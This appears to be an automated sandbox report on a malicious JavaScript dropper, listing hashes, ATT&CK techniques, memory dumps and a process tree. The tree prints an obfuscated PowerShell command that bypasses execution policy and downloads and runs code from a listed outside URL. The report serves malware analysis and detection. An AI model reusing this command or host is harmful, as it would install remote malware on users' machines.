462a36dbe64193c272a4087b2fe2577cff02b54fe09383b87c0c6cfa4ef73a49

Analysis

max time kernel
91s
max time network
122s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
01/02/2024, 03:36

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General

Target

85d1c31f28a243cd5ee9b5abe043f6de.js
Size

432KB
MD5

85d1c31f28a243cd5ee9b5abe043f6de
SHA1

e4cfced3cf78d8c62582141b4ad0d39aafcd9126
SHA256

462a36dbe64193c272a4087b2fe2577cff02b54fe09383b87c0c6cfa4ef73a49
SHA512

b3e2b6d90dc56d0c18aabf8a466cdc2501f3f80135c3c103fc1851a2531c873736b5dc73bc7b166ad77a89cb9ddb787a35b4c009b495e01fb375d29ca8f9b28c
SSDEEP

12288:2kpu3BdD+cHjQnKBam64+6MS7nbjuZgHlCAarhApd7F/6:d6MS7XuZgFCAalSdZ/6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://grupotopbem.com.br/ashkere.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	4948	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 4704	4588	wscript.exe	22
PID 4588 wrote to memory of 4704	4588	wscript.exe	22
PID 4704 wrote to memory of 4948	4704	cmd.exe	23
PID 4704 wrote to memory of 4948	4704	cmd.exe	23

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\85d1c31f28a243cd5ee9b5abe043f6de.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AZwByAHUAcABvAHQAbwBwAGIAZQBtAC4AYwBvAG0ALgBiAHIALwBhAHMAaABrAGUAcgBlAC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_venv1dyk.0kn.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4948-1-0x00000232FFBC0000-0x00000232FFBE2000-memory.dmp

Filesize
136KB

Download
memory/4948-13-0x00000232982A0000-0x00000232982B0000-memory.dmp

Filesize
64KB

Download
memory/4948-12-0x00000232982A0000-0x00000232982B0000-memory.dmp

Filesize
64KB

Download
memory/4948-11-0x00007FFD83020000-0x00007FFD83AE1000-memory.dmp

Filesize
10.8MB

Download
memory/4948-16-0x00007FFD83020000-0x00007FFD83AE1000-memory.dmp

Filesize
10.8MB

Download